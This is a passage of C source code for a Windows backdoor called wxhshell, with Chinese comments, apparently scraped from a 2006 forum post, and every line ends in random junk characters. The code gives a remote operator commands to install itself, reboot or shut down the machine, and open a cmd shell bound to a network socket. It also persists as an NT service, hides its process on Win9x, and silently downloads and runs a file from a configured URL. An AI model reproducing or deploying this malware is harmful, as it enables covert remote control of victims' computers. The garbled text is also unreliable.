  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r D@*xMW  
  } ^6 wWv&G[8  
  else { Gazva/e  
P*KIk~J  
    switch(cmd[0]) { t+v %%N_  
  o< @![P  
  // 帮助 rd7p$e=i  
  case '?': { 4EM+Ye  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xt}.0dC!/%  
    break; O}i+ 1  
  } ,8r?C!m]  
  // 安装 Jg$<2CR&  
  case 'i': { DQGrXMpV0  
    if(Install()) FO*Gc Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u\ _yjv#  
    else e|oMbTZ5m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &dtst??  
    break; &|x7T<,)  
    } \Y!#Y#c  
  // 卸载 cF 5|Pf  
  case 'r': { |$\K/]q -  
    if(Uninstall()) 1["i,8zB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 254V)(t^QM  
    else #@oB2%&X?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); VpJKH\)Rt(  
    break; y'm!h?8  
    } p6%Vf  
  // 显示 wxhshell 所在路径 \ ku5%y  
  case 'p': { hJ(vDv%  
    char svExeFile[MAX_PATH]; Z[Tou  
    strcpy(svExeFile,"\n\r"); h^g0|p5  
      strcat(svExeFile,ExeFile); j&X&&=   
        send(wsh,svExeFile,strlen(svExeFile),0); R=~%kt_n  
    break; y"yo\IDW  
    } 1)k+v17]f5  
  // 重启 eA7 Iv{M  
  case 'b': { S]fu M%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5, $6mU#=  
    if(Boot(REBOOT)) OMK,L:poC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JlYZ\  
    else { @<P2di  
    closesocket(wsh); Ry >y  
    ExitThread(0); Po58@g  
    } yx Om=V  
    break; 6FzB-],  
    } [2-n*a(q  
  // 关机 VgVDTWs7  
  case 'd': { Qa,=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G%sq;XT61  
    if(Boot(SHUTDOWN)) 7?yS>(VmT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K T0t4XPM  
    else { AJ%E.+@=r  
    closesocket(wsh); " AUSgVE+h  
    ExitThread(0); S L 5k^|  
    } QdgJNT<=H,  
    break; O[VY|.MEk  
    } UF7h{V})  
  // 获取shell f|,Kh1{e  
  case 's': { {_N9<i{T  
    CmdShell(wsh); wPM&N@Pf  
    closesocket(wsh); s)- ;74(  
    ExitThread(0); wj6u,+  
    break; 5TJd9:\Af  
  } bY#BK_8 :  
  // 退出 Dy.i^`7\  
  case 'x': { N" L&Z4Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l$&~(YE f  
    CloseIt(wsh); 4`i8m  
    break; )I&.6l!#  
    } ~)f^y!PMQ  
  // 离开 +vy fhw4  
  case 'q': { FGi7KV=N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U5kKT.M  
    closesocket(wsh); Rq}lW.<r  
    WSACleanup(); {3x>kRaKci  
    exit(1); l L;5*@  
    break; Nbr$G=U  
        } 4fs d5#  
  } o,WjM[e  
  } 9 " q-Bb  
hY.i`sp*/  
  // 提示信息 ],SQD3~9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ysu\CZGX  
} '$OUe {j<  
  } ^Oi L&p;r  
fz^j3'!\  
  return; $Wj= V  
} }T4|Kyu?  
/ :F^*]  
// shell模块句柄 M/6Z,oOU  
int CmdShell(SOCKET sock) '{AB{)1  
{ ~uc7R/3ss  
STARTUPINFO si; qA GjR!=^  
ZeroMemory(&si,sizeof(si)); w*6b%h%ww  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 74M9z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^i%S}VK  
PROCESS_INFORMATION ProcessInfo; GS>[A b+  
char cmdline[]="cmd"; d#v@NuO6 h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]i#p2?BR  
  return 0; h&i*=&<HP6  
} yIL=jzm`7  
cuN]}=D  
// 自身启动模式 \I!mzo  
int StartFromService(void) JVu j u$k  
{ nmU1xv_  
typedef struct XX/gS=NE#.  
{ \Sd8PGl*'  
  DWORD ExitStatus; H<Sf0>OA  
  DWORD PebBaseAddress; (1'DZ xJ&u  
  DWORD AffinityMask; 7,SQz6]  
  DWORD BasePriority; gNEcE9y 2  
  ULONG UniqueProcessId; {K.H09Y  
  ULONG InheritedFromUniqueProcessId; F(hPF6Zx(  
}   PROCESS_BASIC_INFORMATION; a6LL]_&g  
n- 2X?<_Z  
PROCNTQSIP NtQueryInformationProcess; >IIq_6Z#  
OL 0YjU@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fF)Q;~_VA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bKpy?5&>  
+b-ON@9]J`  
  HANDLE             hProcess; AfA"QCyO  
  PROCESS_BASIC_INFORMATION pbi; 1@v <  
<}J !_$A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `xzKRId0  
  if(NULL == hInst ) return 0; 5 e+j51  
!ekByD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #zl1#TC{(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~^obf(N`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0 SSdp<  
b11I$b #  
  if (!NtQueryInformationProcess) return 0; K[y")ooE<j  
vR\E;V  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R@K\   
  if(!hProcess) return 0; D<J'\mo  
8lV:-"+5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t.ulG *  
M>i(p%  
  CloseHandle(hProcess); NTt4sWP!I  
<uuumi-!%G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NwF"Zh5eMW  
if(hProcess==NULL) return 0; Be|! S_Y P  
6RbDc *  
HMODULE hMod; |3FI\F;^q  
char procName[255]; 9F807G\4Qt  
unsigned long cbNeeded; uU 7 <8G  
0ZjT.Ep  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n0=]C%wr  
]Uwp\2Bc  
  CloseHandle(hProcess); nG'Yo8I^5  
fo,0NxF9  
if(strstr(procName,"services")) return 1; // 以服务启动 futYMoV  
'mZ v5?  
  return 0; // 注册表启动 6!]@ S|vDX  
} @m5J%8>k  
Z+ k) N  
// 主模块 >2s6Y  
int StartWxhshell(LPSTR lpCmdLine) vNw(hT5750  
{ lW c[Q1  
  SOCKET wsl; '^)'q\v'k  
BOOL val=TRUE; k)3N0]q6  
  int port=0; :\~>7VFg  
  struct sockaddr_in door; DoczQc-U+  
}K)A jZ  
  if(wscfg.ws_autoins) Install(); tCrEcjT-  
0Ye/  
port=atoi(lpCmdLine); 0hoMf=bb$  
d`= ~8`  
if(port<=0) port=wscfg.ws_port; sGY}(9ED;  
C)U4Fr ?E:  
  WSADATA data; M1eh4IVE?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sR/Y v  
_9=87u0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `e ZDG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~a_hOKU5  
  door.sin_family = AF_INET; 1T#-1n%[k(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DPf].i#  
  door.sin_port = htons(port); cI[i v  
gqv+|:#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IER;d\_V<  
closesocket(wsl); ;cVK2'  
return 1; igQzL*X  
} M<Bo<,!ua  
p^Ey6,!8]D  
  if(listen(wsl,2) == INVALID_SOCKET) { S!A:/(^WB  
closesocket(wsl); @2"uJ6o  
return 1; Ct `)R  
} C1{Q 4(K%  
  Wxhshell(wsl); "S#$:92  
  WSACleanup(); |vd|; " `  
\Yj_U'2"i  
return 0; <p<6!tdO  
#om Gj&  
} 3_@I E2dA  
>q;| dn9  
// 以NT服务方式启动 uB+#<F/c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) GOxP{d?  
{ }uMu8)Q  
DWORD   status = 0; =EVB?k ,  
  DWORD   specificError = 0xfffffff; OF*E1B M  
D% *ww'mt0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C)m@/w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jk`U7 G*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7J3A]>qU  
  serviceStatus.dwWin32ExitCode     = 0; kmBA  
  serviceStatus.dwServiceSpecificExitCode = 0; _L)LyQD]T  
  serviceStatus.dwCheckPoint       = 0; Gd C=>\]  
  serviceStatus.dwWaitHint       = 0; <!t;[ie?y  
Gu{1%bb#kL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fUvXb>f,  
  if (hServiceStatusHandle==0) return; 5 xr2  
S'RRe84 C  
status = GetLastError(); Pjq9BK9p  
  if (status!=NO_ERROR) f]10^y5&  
{ yx#!2Z0hw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }{:Jj/d p  
    serviceStatus.dwCheckPoint       = 0; gGNo!'o  
    serviceStatus.dwWaitHint       = 0; b:9"nALgC  
    serviceStatus.dwWin32ExitCode     = status; ?4%#myO3a  
    serviceStatus.dwServiceSpecificExitCode = specificError; X7*ossv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L"0dB.  
    return; J_+2]X7n  
  } ;ZJ. 7t'  
%l%ad-V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ih("`//nP  
  serviceStatus.dwCheckPoint       = 0; 4NRj>y  
  serviceStatus.dwWaitHint       = 0; 9k93:#{WE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0xi2VN"X  
} `!X8Cn  
 uWMSn   
// 处理NT服务事件,比如:启动、停止 .HTRvE`X  
VOID WINAPI NTServiceHandler(DWORD fdwControl) k_1;YO BF  
{ BV<_1 WT}  
switch(fdwControl) Foj|1zJS_  
{ CNV^,`FX  
case SERVICE_CONTROL_STOP:  {y{O ze  
  serviceStatus.dwWin32ExitCode = 0; b!-=L&V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xGOmvn^lQ  
  serviceStatus.dwCheckPoint   = 0; v#9i|  
  serviceStatus.dwWaitHint     = 0; "&qAV'U  
  { w[vccARQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k0FAI0~(  
  } a"}ndrc*  
  return; ]/p>p3@1C  
case SERVICE_CONTROL_PAUSE: EFU)0IAL[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -m ,Y6  
  break; j7Zv"Vq@  
case SERVICE_CONTROL_CONTINUE: h+_:zWU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `}ZtK574  
  break; P7X3>5<;q  
case SERVICE_CONTROL_INTERROGATE: Z9MU%*N  
  break; Le-t<6i-V#  
}; 'o= DGm2H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <QgpePyoN  
} sc-+?i  
!F ?j'[s8]  
// 标准应用程序主函数 r0f&n;0U4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d8Cd4qIXX  
{ |d\1xTBLp  
ME>Sh~C\  
// 获取操作系统版本 n[;)(  
OsIsNt=GetOsVer(); C!K&d,M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ya jAz5N  
iig4JP'h  
  // 从命令行安装 x*j eCD,  
  if(strpbrk(lpCmdLine,"iI")) Install(); `"V}Wq ?I  
-jNnx*  
  // 下载执行文件 rw 2i_,.*~  
if(wscfg.ws_downexe) { B}zBbB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;*Mr(#R  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1#|lt\T  
} 5ld?N2<8/  
wU/fGg*M2  
if(!OsIsNt) { .2|(!a9W  
// 如果时win9x,隐藏进程并且设置为注册表启动 1TzwXX7  
HideProc(); $PlMyLu7jc  
StartWxhshell(lpCmdLine); x!7!)]h  
} av'[k<  
else 4"nYxL"<4  
  if(StartFromService()) 71IM`eL=ED  
  // 以服务方式启动 ^IvQdVB  
  StartServiceCtrlDispatcher(DispatchTable); ?hrz@k|  
else }YiFiGf,  
  // 普通方式启动 _9=cxwi<w  
  StartWxhshell(lpCmdLine); !u:;Ew  
'19?  
return 0; ([SJ6ff]&  
}
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只看该作者 1 发表于: 2006-10-10
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